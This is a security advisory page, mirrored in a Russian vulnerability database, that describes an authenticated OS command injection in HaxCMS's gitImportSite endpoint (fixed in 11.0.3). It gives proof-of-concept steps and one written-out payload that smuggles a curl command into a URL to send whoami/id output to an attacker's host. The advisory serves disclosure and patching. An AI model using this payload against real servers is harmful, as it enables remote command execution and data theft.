Логотип exploitDog
Консоль
Логотип exploitDog

exploitDog

github логотип

GHSA-g4cf-pp4x-hqgw

Опубликовано: 09 июн. 2025
Источник: github
Github: Прошло ревью
CVSS3: 8.5

Описание

HaxCMS-PHP Command Injection Vulnerability

Summary

The 'gitImportSite' functionality obtains a URL string from a POST request and insufficiently validates user input. The ’set_remote’ function later passes this input into ’proc_open’, yielding OS command injection.

Details

The vulnerability exists in the logic of the ’gitImportSite’ function, located in ’Operations.php’. The current implementation only relies on the ’filter_var’ and 'strpos' functions to validate the URL, which is not sufficient to ensure absence of all Bash special characters used for command injection. gitImportSite

Affected Resources

• Operations.php:2103 gitImportSite() • <domain>/<user>/system/api/gitImportSite

PoC

To replicate this vulnerability, authenticate and send a POST request to the 'gitImportSite' endpoint with a crafted URL in the JSON data. Note, a valid token needs to be obtained by capturing a request to another API endpoint (such as 'archiveSite').

  1. Start a webserver. webserver

  2. Initiate a request to the ’archiveSite’ endpoint. archiveSite

  3. Capture and modify the request in BurpSuite. request-modification

  4. Observe command output in the HTTP request from the server. command-output

Command Injection Payload

http://<IP>/.git;curl${IFS}<IP>/$(whoami)/$(id)#=abcdef

Impact

An authenticated attacker can craft a URL string that bypasses the validation checks employed by the ’filter_var’ and ’strpos’ functions in order to execute arbitrary OS commands on the backend server. The attacker can exfiltrate command output via an HTTP request.

Пакеты

Наименование

@haxtheweb/haxcms-nodejs

npm
Затронутые версииВерсия исправления

< 11.0.3

11.0.3

EPSS

Процентиль: 67%
0.00553
Низкий

8.5 High

CVSS3

Дефекты

CWE-78

Связанные уязвимости

CVSS3: 8.5
nvd
8 месяцев назад

HAX CMS PHP allows users to manage their microsite universe with a PHP backend. Prior to version 11.0.3, the `gitImportSite` functionality obtains a URL string from a POST request and insufficiently validates user input. The `set_remote` function later passes this input into `proc_open`, yielding OS command injection. An authenticated attacker can craft a URL string that bypasses the validation checks employed by the `filter_var` and `strpos` functions in order to execute arbitrary OS commands on the backend server. The attacker can exfiltrate command output via an HTTP request. Version 11.0.3 contains a patch for the issue.

EPSS

Процентиль: 67%
0.00553
Низкий

8.5 High

CVSS3

Дефекты

CWE-78